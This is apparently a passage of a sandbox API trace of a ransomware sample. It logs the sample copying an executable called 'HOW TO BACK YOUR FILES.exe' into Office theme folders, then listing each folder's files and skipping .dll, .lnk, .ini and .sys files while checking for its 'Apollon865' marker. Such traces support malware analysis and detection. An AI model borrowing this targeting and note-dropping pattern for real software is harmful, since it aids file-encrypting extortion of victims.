	[0074.926] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE"
	[0074.926] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0338 | out: hHeap=0x580000) returned 1
	[0074.926] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0088 | out: hHeap=0x580000) returned 1
	[0074.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE") returned 61
	[0074.926] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE"
	[0074.926] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.926] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.933] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.933] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44bce010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44bce010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.934] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.934] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.934] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.934] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.934] lstrlenW (lpString="Apollon865") returned 10
	[0074.934] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.934] lstrlenW (lpString=".dll") returned 4
	[0074.934] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".dll") returned 1
	[0074.934] lstrlenW (lpString=".lnk") returned 4
	[0074.934] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".lnk") returned 1
	[0074.934] lstrlenW (lpString=".ini") returned 4
	[0074.934] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".ini") returned 1
	[0074.934] lstrlenW (lpString=".sys") returned 4
	[0074.934] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".sys") returned 1
	[0074.934] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.934] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="SLATE.ELM" | out: lpString1="SLATE.ELM") returned="SLATE.ELM"
	[0074.934] lstrlenW (lpString="SLATE.ELM") returned 9
	[0074.934] lstrlenW (lpString="Apollon865") returned 10
	[0074.934] lstrlenW (lpString=".dll") returned 4
	[0074.934] lstrcmpiW (lpString1="SLATE.ELM", lpString2=".dll") returned 1
	[0074.934] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="SLATE.INF" | out: lpString1="SLATE.INF") returned="SLATE.INF"
	[0074.934] lstrlenW (lpString="SLATE.INF") returned 9
	[0074.934] lstrlenW (lpString="Apollon865") returned 10
	[0074.935] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.935] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.935] lstrlenW (lpString="Apollon865") returned 10
	[0074.935] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.935] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY"
	[0074.935] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591740 | out: hHeap=0x580000) returned 1
	[0074.935] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0068 | out: hHeap=0x580000) returned 1
	[0074.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY") returned 59
	[0074.935] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY"
	[0074.935] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.935] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.939] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44bce010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44bce010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.939] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.939] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.939] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.939] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.939] lstrlenW (lpString="Apollon865") returned 10
	[0074.939] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.940] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="SKY.ELM" | out: lpString1="SKY.ELM") returned="SKY.ELM"
	[0074.940] lstrlenW (lpString="SKY.ELM") returned 7
	[0074.940] lstrlenW (lpString="Apollon865") returned 10
	[0074.940] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="SKY.INF" | out: lpString1="SKY.INF") returned="SKY.INF"
	[0074.940] lstrlenW (lpString="SKY.INF") returned 7
	[0074.940] lstrlenW (lpString="Apollon865") returned 10
	[0074.940] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.940] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.940] lstrlenW (lpString="Apollon865") returned 10
	[0074.940] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.940] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN"
	[0074.940] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c02b0 | out: hHeap=0x580000) returned 1
	[0074.940] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0048 | out: hHeap=0x580000) returned 1
	[0074.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN") returned 61
	[0074.940] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN"
	[0074.940] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.940] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.945] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44bce010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44bce010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.945] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.945] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.945] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.945] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.945] lstrlenW (lpString="Apollon865") returned 10
	[0074.945] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.945] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="SATIN.ELM" | out: lpString1="SATIN.ELM") returned="SATIN.ELM"
	[0074.945] lstrlenW (lpString="SATIN.ELM") returned 9
	[0074.945] lstrlenW (lpString="Apollon865") returned 10
	[0074.946] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="SATIN.INF" | out: lpString1="SATIN.INF") returned="SATIN.INF"
	[0074.946] lstrlenW (lpString="SATIN.INF") returned 9
	[0074.946] lstrlenW (lpString="Apollon865") returned 10
	[0074.946] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.946] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.946] lstrlenW (lpString="Apollon865") returned 10
	[0074.946] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.946] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE"
	[0074.946] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0228 | out: hHeap=0x580000) returned 1
	[0074.946] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0028 | out: hHeap=0x580000) returned 1
	[0074.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE") returned 63
	[0074.946] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE"
	[0074.946] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.946] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.950] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.950] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44bf4170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44bf4170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.950] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.950] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.950] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.951] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.951] lstrlenW (lpString="Apollon865") returned 10
	[0074.951] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.951] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="RMNSQUE.ELM" | out: lpString1="RMNSQUE.ELM") returned="RMNSQUE.ELM"
	[0074.951] lstrlenW (lpString="RMNSQUE.ELM") returned 11
	[0074.951] lstrlenW (lpString="Apollon865") returned 10
	[0074.951] lstrcmpiW (lpString1="MNSQUE.ELM", lpString2="Apollon865") returned 1
	[0074.951] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="RMNSQUE.INF" | out: lpString1="RMNSQUE.INF") returned="RMNSQUE.INF"
	[0074.951] lstrlenW (lpString="RMNSQUE.INF") returned 11
	[0074.951] lstrlenW (lpString="Apollon865") returned 10
	[0074.951] lstrcmpiW (lpString1="MNSQUE.INF", lpString2="Apollon865") returned 1
	[0074.951] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.951] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.951] lstrlenW (lpString="Apollon865") returned 10
	[0074.951] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.951] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE"
	[0074.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c01a0 | out: hHeap=0x580000) returned 1
	[0074.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0008 | out: hHeap=0x580000) returned 1
	[0074.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE") returned 62
	[0074.951] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE"
	[0074.951] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.951] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.956] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.956] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44bf4170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44bf4170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.956] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.956] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.956] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.956] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.956] lstrlenW (lpString="Apollon865") returned 10
	[0074.956] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.956] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="RIPPLE.ELM" | out: lpString1="RIPPLE.ELM") returned="RIPPLE.ELM"
	[0074.956] lstrlenW (lpString="RIPPLE.ELM") returned 10
	[0074.957] lstrlenW (lpString="Apollon865") returned 10
	[0074.957] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="RIPPLE.INF" | out: lpString1="RIPPLE.INF") returned="RIPPLE.INF"
	[0074.957] lstrlenW (lpString="RIPPLE.INF") returned 10
	[0074.957] lstrlenW (lpString="Apollon865") returned 10
	[0074.957] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.957] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.957] lstrlenW (lpString="Apollon865") returned 10
	[0074.957] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.957] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR"
	[0074.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8aa8 | out: hHeap=0x580000) returned 1
	[0074.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffe8 | out: hHeap=0x580000) returned 1
	[0074.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR") returned 64
	[0074.957] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR"
	[0074.957] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.957] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.963] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.963] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44c1a2d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44c1a2d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.963] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.963] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.963] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.963] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.963] lstrlenW (lpString="Apollon865") returned 10
	[0074.963] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.963] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="RICEPAPR.ELM" | out: lpString1="RICEPAPR.ELM") returned="RICEPAPR.ELM"
	[0074.964] lstrlenW (lpString="RICEPAPR.ELM") returned 12
	[0074.964] lstrlenW (lpString="Apollon865") returned 10
	[0074.964] lstrcmpiW (lpString1="CEPAPR.ELM", lpString2="Apollon865") returned 1
	[0074.964] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="RICEPAPR.INF" | out: lpString1="RICEPAPR.INF") returned="RICEPAPR.INF"
	[0074.964] lstrlenW (lpString="RICEPAPR.INF") returned 12
	[0074.964] lstrlenW (lpString="Apollon865") returned 10
	[0074.964] lstrcmpiW (lpString1="CEPAPR.INF", lpString2="Apollon865") returned 1
	[0074.964] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.964] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.964] lstrlenW (lpString="Apollon865") returned 10
	[0074.964] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.964] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED"
	[0074.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0118 | out: hHeap=0x580000) returned 1
	[0074.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffc8 | out: hHeap=0x580000) returned 1
	[0074.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED") returned 63
	[0074.964] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED"
	[0074.964] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.964] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.968] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.968] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44c1a2d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44c1a2d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.968] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.969] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.969] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.969] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.969] lstrlenW (lpString="Apollon865") returned 10
	[0074.969] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.969] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="REFINED.ELM" | out: lpString1="REFINED.ELM") returned="REFINED.ELM"
	[0074.969] lstrlenW (lpString="REFINED.ELM") returned 11
	[0074.969] lstrlenW (lpString="Apollon865") returned 10
	[0074.969] lstrcmpiW (lpString1="EFINED.ELM", lpString2="Apollon865") returned 1
	[0074.969] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="REFINED.INF" | out: lpString1="REFINED.INF") returned="REFINED.INF"
	[0074.969] lstrlenW (lpString="REFINED.INF") returned 11
	[0074.969] lstrlenW (lpString="Apollon865") returned 10
	[0074.969] lstrcmpiW (lpString1="EFINED.INF", lpString2="Apollon865") returned 1
	[0074.969] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.969] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.969] lstrlenW (lpString="Apollon865") returned 10
	[0074.969] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.969] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL"
	[0074.969] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0090 | out: hHeap=0x580000) returned 1
	[0074.969] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffa8 | out: hHeap=0x580000) returned 1
	[0074.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL") returned 62
